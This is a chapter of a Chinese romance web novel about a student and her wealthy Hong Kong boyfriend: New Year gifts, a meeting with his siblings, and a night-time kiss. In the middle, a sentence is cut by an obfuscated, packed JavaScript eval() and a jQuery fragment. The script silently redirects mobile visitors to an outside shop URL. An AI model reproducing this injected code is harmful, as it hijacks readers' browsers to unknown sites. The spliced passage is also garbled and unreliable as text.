和橙睡眠一向不错,今晚有点失眠,闭眼就是宗勖白靡丽绯色的脸,眼尾染着瑰丽的潮红,高挺的鼻梁挂着浓稠晶莹,深幽的乌眸裹着欲色,舌尖舔光泽的唇,将那点水光吃进去。
以胸抵背,抱住她的时候,她尾椎骨能明显感知到他压不下去的膨胀。
她躲进被窝里,双腿不由自主地蹬,企图让厚重的棉被将羞涩压下,再次抬出脸,整张脸都是红的。
她得出一个结论,宗勖白这人,有点变态。
斯文败类。
早餐是和橙熟悉的笋粄和腌面,才吃两口,手机震动。
一张宜化镇,楼下人群赶集的图片。
【有什么好吃的早餐推荐?】
宗勖白问。
和橙从小就会去宜化镇帮奶奶卖柚子,对宜化的建筑和道路很熟悉,这个角度应该是在宜化镇最好的酒店,楼上拍的,他昨晚没回溪州,就近住下了。
心想事橙:【捆粄还挺不错的,料多,米皮软滑带韧劲,馅料有笋丁、豆角、咸菜,推荐你吃笋丁。】
【烧卖也是特色,汤米粉也可以。】
【你吃什么?】
宗勖白又问。
和橙拍了照片给他。
【笋粄和腌面】
过了十几分钟。
微信弹出一张图片,是打包的笋粄和腌面。
【情侣套餐。】
宗勖白说。
这算哪门子情侣套餐?和橙不知该如何回答,他平日里口味清淡,吃得惯咸香油润的腌面吗?
她也懒得问,将手机息屏,正要去洗碗,门口传来声音,是和善一家人过来拜年。
和橙帮忙解决了一百万债务的棘手问题,和善妈妈难得好脾气,笑眯眯地给和橙一个红包。
二伯也夸和橙厉害,二伯母跟着捧哏,问和橙能不能叫资助人给和善介绍一个香港工作,和善听到这里烦了,甩脸色。
两个长辈瞪她,说她不识好歹,有这么个厉害的人,不知道利用资源。
奶奶做和事佬,说和善现在的工作就很好,已经很麻烦资助人,怎么好意思又因为这点小事麻烦人家。人情多了不好还。
二伯母听了不乐意,和善现在的工作哪里好?市里银行的合同工,月薪四千,能做什么呢,听说去香港工作,保洁一个月都有一万块,和善要是去了香港银行工作,工资起码有几万吧!去了香港,说不定能结识个香港
富商呢!以前她在外工作身边有个女的就被香港老板看中带去香港现在都去马来西亚居住了。
奶奶啧了声在男人身上吃的亏还不够吗?还想着男人。
客厅就着这事吵了起来。
和善冲她爸妈发脾气“别说了别说了!烦不烦!当初说银行柜员好的也是你!现在说不好的也是你!”
二伯母也来气了
“那也是你见钱眼开!你不就是想吊金龟婿吗!”
二伯头疼地叹气:“大过年的你们能不能消停会!”
和橙脚下是烧着木炭的火盆冷眼看她们吵耳畔忽然响起鞭炮声声音很近就在屋外。
溪州有个传统去亲戚好友家拜年会放鞭炮。
往年除了二伯家会象征性来家里坐半个小时没有亲戚或者朋友来拜年和橙也就没多想。
屋里其他人也没多想直到屋外有人敲木门。
“请问和橙在家吗?”
炳叔的声音!
和橙脊背一僵意识到什么几乎从凳子上弹起来。
屋里其他人看向惊慌失措的和橙。
“怎么了?外面是鬼在叫你吗?”和善疑惑地问。
和橙反射性看向奶奶完蛋完蛋她要怎么跟奶奶介绍宗勖白他过来怎么也不提前说一声?
她惴惴地打开门屋外果然站着西装革履的炳叔他装作今年第一次见面的样子:“和橙新年好。”
和橙呆愣地应好透过炳叔往外看院子里有棵褪去春夏繁华稠丽的梨花树笔直的枝干伸向天空。院子空无一人。
宗勖白没来?
也是他让炳叔来已经算代表他了。毕竟如此金尊玉贵的一人站在一贫如洗的泥砖房里也不太像话。
她心底松了口气。
奶奶不知来者何人也招呼他进来。
炳叔进屋后礼貌扫一圈四周用有粤语口音的普通话自我介绍:“大家新年好我是宗先生的管家叫刘家炳。近日出来拜访亲戚想到和橙家住这顺道进来坐坐。”
奶奶一听是宗先生眼睛亮堂了下:“原来是宗先生的管家那你就是刘老板了?坐坐坐来就来怎么还提了那么多东西。”
炳叔两只手提满礼品二伯母看了咋
舌,黄金、燕窝、西洋参、阿胶、坚果……
从金银首饰到补品甚至饮食都有。
手机震动,和橙低头。
【出来,昨晚停车这里】
宗勖白。
和橙心底咕咚地跳,原来他来了。
她浑身紧绷住,奶奶和二伯她们注意力都在炳叔身上,她咬了咬唇,悄无声息溜出去。
从院子里走出去,再左转个弯,
宗勖白一袭白衣慵懒倚着车头,左手捧着一束橙色鲜花,低垂着目光,右手划手机。
他身侧是高耸入云的茂密竹林,风过竹梢,翠浪翻涌送清响。一袭白衣挺拔如松,与青黄竹影相融成画,那份清冷矜贵,却又与周遭黄土青山,生出一种疏离又惊艳的格格不入。
他似感应到什么,抬头,唇角弯弯。
和橙小跑走向宗勖白,看见他便忍不住看他唇,他的唇形很好看,可这么好看一张唇,昨晚却吃了不该吃的地方。
她脸蛋酡粉,移开视线,找话题,“你怎么……
她下意识就想客套客套:你怎么不进去,反应过来后灵活换词:“穿得那么漂亮?
宗勖白歪歪脑袋,似乎对她这句话有点疑惑,眼尾缱绻:“我平日里穿得不漂亮?
“不是,因为你昨天的漂亮衣服烧坏了,你这新衣服镇上买的吗?
天气寒冷,他身上依旧是西装三件套,十分绅士优雅。和橙有些疑惑,镇上居然还有这种货色的西服套装吗?还是他骨架好,把便宜货撑起来了。
“从香港到这,高速只要四个小时左右。
和橙惊讶:“你叫人送来的?
他的行事作风有时候还真是怪为难人,衣服被烧毁,不想穿劣质衣服,连夜让人送衣服过来。
宗勖白颔首,“炳叔提的东西还行么?奶奶应该都用得上。
和橙看了眼身后的土屋瓦砖,那些礼品对于宗勖白来说连皮毛都算不上,在奶奶眼中却重若千金,满心惶恐,仿佛得了此生不敢奢望的恩惠。
“你不用买那些的……老人家不习惯吃。
宗勖白温笑,“老人多补补总是没错。
“昨日没拿礼物,今日补上。
他手里捧着大束橙色的厄瓜多尔玫瑰花,色彩鲜明极其漂亮绚烂,像烂漫梦幻的落日。溪州花店不可能有这样好看的花束,估计也是让人从香港送来的。
“橙色和你名字很搭,感觉你会喜欢。
女孩子都喜欢花,和橙也不例外,之前他往办公室送了好几天花,鲜活艳丽的花朵让工作内容没那么枯燥。
她接过花,道了谢谢。
低头嗅了嗅,清香的味令人心情愉悦。花束上还夹了十几个小红包,红橙两色,满目生命力,抬头,撞上一双温柔魅惑的桃花眼。
“里面不会是可以买下整个溪州的支票吧?
宗勖白从鼻尖噗出一缕笑,“那要让你失望,打开看看。
和橙将花束递回他手里,打开红包,是一张崭新的十块钱现金,一共有二十个红包,二十张十块钱。
前两天,他给她发九万红包,她拒收后说宜化这边的红包都是十块,没想到他记着这样的小事,“可是,为什么是二十个红包?
他柔柔地瞧她,提醒,“是谁之前喊我daddy?
和橙瞪圆双目,好久远的事情,当时脑抽喊他daddy,今日又被当事人翻出来,尴尬得想遁地。
只因她喊过一声daddy,所以他特意给她补足前十九年的十块钱红包吗?
“两百块可以买下什么?他调侃地问。
和橙有点窘,眨了眨眼,将二十张红包放进羽绒服外套口袋里,妥帖地拍了拍。
“谁知道你平时财大气粗,突然变得那么朴素。
宗勖白单手捧住她的脸,拇指摩挲她的面颊,“谁让我女朋友看不上支票。今日同我返香港吧。
-
驱车回到香港半山别墅,远远看见一辆粉色法拉利停在大门口,敞篷的车内,树荫斑驳,宗舒怡戴着墨镜坐在驾驶位,朝炳叔打招呼。
炳叔降下后排车窗,宗舒怡幸灾乐祸,“哥,老豆派我来打听你去哪里鬼混。
从半降下的车窗,透过宗勖白看见一张陌生又漂亮的脸蛋,惊讶地喔了声,摘下墨镜,“老天!我的嫂嫂是个大美人。
宗勖白揉了揉太阳穴,眉宇间有些微烦。
“哥哥,我也可以守口如瓶的,宗舒怡比了个五,“五百万,我就不跟老豆说你的秘密。
“去找Jason。
“谢主隆恩!
炳叔瞧了,笑开花,宗舒怡是三个兄妹里面最是活泼开朗的,因为是小公主,从小备受陈嘉欣疼爱,现在还在国外读书,无忧无虑,是个小财奴,时不时就来打劫宗勖白。
宗勖白也宠着她。
请神容易,送神难。
何况是宗舒怡这种不请自来的,更加难打发。
拿了口头支票,人也不走了,跟着她们回别墅。
宽敞明亮的客厅,坐着一个陌生男人。
身影清俊挺拔,眉骨高挺,侧脸轮廓柔和又锋利,长指正在操控手机游戏,动作轻捷,指节线条很漂亮。
“大哥!”宗舒怡跑过去,“哥哥带女朋友回家了!你三十好几,怎么还是孤寡老人?看来娱乐圈断你桃花!”
宗柏延眼皮都没抬起,淡淡哦了声。
宗勖白瞧他这玩游戏的姿势,不像刚来,“你家里信号不好?”
“等你啊。”宗柏延抽空往桌面瞥了眼,是一本影视企划书,“这不是叫你投资,得有点诚意,我可不像宗舒怡,随口两句甜言蜜语,就从你身上掏五百万。”
宗勖白没拿那份影视企划书,礼貌地笑,“对,你一开口就是几个亿。”
宗柏延心虚地咳了咳,抬头看见在对面坐下的和橙,“你好,弟妹,我是宗柏延。”
宗舒怡提醒:“妹妹是内地人,听不太懂你的粤语。”
宗柏延哦了声,用普通话又重新说了遍。
宗勖白见他同和橙聊得好,随手翻起企划书。
菲佣不断往客厅茶几端水果蛋糕饮品。
两个年纪相仿的女孩坐在沙发,宗舒怡热情明媚且八卦,没一会就了解到和橙的家庭学业,知道她在港大精算系,崇拜地夸,“原来是个大才女!”
“那你想过出国读研读博吗?”
还真没想过,出国留学费用肯定很贵,她压根不敢想。如果能保研港大也很不错。
“出国挺贵的,我会争取保研港大!”
宗舒怡笑笑,明目张胆瞅瞅宗勖白,自豪道,“哥哥有钱,你想去哪,他都能支持你的!”
眼前的女孩明媚开朗,从小锦衣玉食,有哥哥护着,可以自豪地说出哥哥有钱这种话。
和橙心底酸涩,全世界最靠得住的只有她自己。她的前程,得握在自己手中。
反射性看了眼旁边的宗勖白,他似乎也听见这句,温温地看她,她却不太自在地躲开了。
宗勖白眼睫一敛,神情淡淡的。
其余两人察觉到这微妙的氛围,对视后,假装若无其事地移开目光。
宗舒怡不爱宅家,这会又遇到一个聊得来的同龄女孩,迫不及待载着和橙兜风。
盘山公路蜿蜒,粉色法拉利敞篷,两个女孩的发丝
在风里翻飞。
和橙觉得宗舒怡很酷很飒开车兜风游刃有余。
“速度可以吗?会不会太快?”
“比起你哥哥你这算慢。”
“哥哥当年可是想去征服F1赛场的男人!如果不是为了继承家业老豆不给他玩这些极限运动他肯定已经成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784717|210165||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
为一名职业赛车手。”
从上次宗勖白载着她飙车的情况来看他技术确实很好也很享受这种极限运动。
斯文儒雅的外表下藏着爱冒险的极致灵魂。
就跟他本人一样看着绅士实则手段狠戾反差感很强。
“哥哥喜欢攀岩、滑雪、高空跳伞所有刺激项目他都爱结果有一次从高空滑雪遭遇严重脑震荡休克5分钟差点醒不过来被老豆知道后气得大发雷霆扇了哥哥好几巴掌让他跪祠堂说他的命不是他自己的是整个集团的是他的。”
“以后要是再受伤他身边那些人都不会有好下场。老豆很会杀鸡儆猴那天陪着哥哥去滑雪的人全部被解聘并且在香港找不到任何工作。就连工作人员都不例外。”
说到这里宗舒怡有些哽噎:“从那以后哥哥就喜欢种树养蝴蝶了。”
“蝴蝶还不是普通品类是从秘鲁热带雨林捕捉私人飞机运回来的珍稀品种
“现在哥哥好像只有养蝴蝶这个修身养性的爱好。”
宗舒怡看向和橙:“哥哥背负了很多他现在是集团唯一继承人很多东西都得舍弃。”
和橙前面听得心惊胆颤后面又很唏嘘落寞。
难怪宗勖白在外人面前总是表现得谦谦有礼温和绅士他不仅是他自己更是代表的是整个集团整个家族他有太多身不由己。
她见识过他冷蔑漠然、霸道专制的一面。
他的涵养不代表他的性格。
也许就是因为这种不可融合的矛盾才让他看上去平和又危险。
“哥哥/日夜不休工作我都担心他会累坏身体现在身边有你工作之余谈谈恋爱放松心情挺好的。”
挺好吗?
和橙将飘逸的青丝别在耳后仔细想想她并不懂得如何讨他欢心甚至似乎总在无意间惹他生气但他不计较。
两人之间的相处对于她来说还是个很难攻克的课题。
从资助人到男友她不知要如何面对这段不稳定不牢固的关系。
抛去他们在一块的契机宗勖白人很好当然值得一个女人去爱
要为一段没有未来的感情这样认真吗?
但如果敷衍他假意爱他对他也不公平。
-
夜色阑珊和橙在房间沙发刷微积分题听到露台外有车开进来的声音宗勖白今日吃了午餐便出去了。才年初四他的行程已经安排很满。
医生说宗勖白被烫红的手肘每天晚上洗了澡要冰敷和涂抹药膏。
她捡起旁边的手机给他发消息。
【记得冰敷和抹药膏。】
和橙继续刷微积分题时间流了二十多分钟她打了个哈欠准备睡觉想起宗勖白似乎没回复她消息拿起手机看果然没回复。
他从来不会不回消息。
【看见了吗?】
约莫五分钟宗勖白直接拨电话过来“对不住刚开完跨国线上会议怎么还没睡?”
“要睡了。你记得冰敷和抹药膏。”
“只口头说说?”
沉默片刻和橙卷着书角页“那你先洗澡过来我房间我给你涂。”
宗勖白缱绻地笑出声“怎么还要我洗完澡去你房间你不能来我房间?”
“你这不是求人办事吗?你不来我就睡了。来不来?”
宗勖白静默了瞬他陷在真皮椅电脑屏幕展着TTP树状图听着对面柔软的嗓工作的烦躁消弭了“来。”
和橙挂了电话将喝完牛奶的马克杯拿下楼遇见何妈她笑眯眯地说怎么还特意拿下来她明日上楼收就行。
“顺便。何妈我想拿点冰块冷敷有纱布吗?”
“怎么要冷敷?哪里不舒服?”
“不是我是给宗勖白用他的手有点烫伤。”
何妈愣了下。
宗勖白?
第一次听见有人直呼宗勖白全名她吞了吞喉咙反应过来后关心道“先生怎么会被烫伤?”
宗勖白锦衣玉食放在他面前的水都是刚刚好的温度。
和橙将马克杯清洗干净“玩火呗他可幼稚了。”
何妈还是不太明白但瞧着和橙不是那么担心的模样猜测应该伤得不重。
也跟着打趣“幼稚?我怎么看是情人眼里出西施呢。先生一向稳
重。
和橙没搭这句话,只笑笑。
她是没机会见宗勖白发疯的样子。
拿了冰块回到房间窝在沙发用平板看动画片,大概二十分钟,响起敲门声,她将动画暂停,前往开门。
宗勖白站在门口,头发是湿的,身上的真绸睡袍系得松松垮垮,露出冷白的性感薄肌,那双含春的桃花眼似被水洗过,乌得发亮。
和橙不自在地移开目光,随意地问:“怎么不擦头发?
宗勖白瞧她落荒而逃的背影,裙摆翩跹。他笑了下,把门带上,“怕你等久。
睡袍的袖子很宽,和橙细心地卷上去,原本冷白骨感的手肘一片红肿,青筋蜿蜒。她拿了搁置在冰桶里的冰敷袋,敷在烫红的地方。
宗勖白目光落在她的脸,黑发蓬松地垂下,长睫敛着,面颊晕着淡淡娇粉,柔嫩的唇像一朵亟待采撷的蔷薇。他看了好一会,单臂将她捞到腿上坐,和橙被打断,不可置信地拿着冰敷袋,“干嘛呀。
男人真的是只有挂在墙上才安分吗?
宗勖白唇角勾起弧度,“敷吧。
和橙眨眼,耳根子红透,想到昨晚在车里的旖旎画面,心乱了,加速涂药膏,空气里瞬时弥漫着淡淡中药香,期间,谁也没说话。
把沾了药膏的棉签丢进旁边垃圾桶,她想从他腿上下来被箍住了腰。
宗勖白抬起她的下巴,幽深的眸盯着她的唇,“晚安吻。
薄唇先是落在她额头,然后是眼皮,鼻尖,含住她的唇,撬开她的贝齿,与她小巧的舌尖追逐。
她沐浴过,明明是一样的沐浴露,但用在她身上却是不一样的味,淡淡橙子水果香,令他着迷,摁住她的腰和后脑,与他严丝合缝。
和橙捏着他的衣襟,完全沉浸在温柔缠绵的吻里,好一会他才离开她的唇,气息游离耳边,“和橙,你的手,不用那么规矩。
“可以伸进去。
作者有话说:
无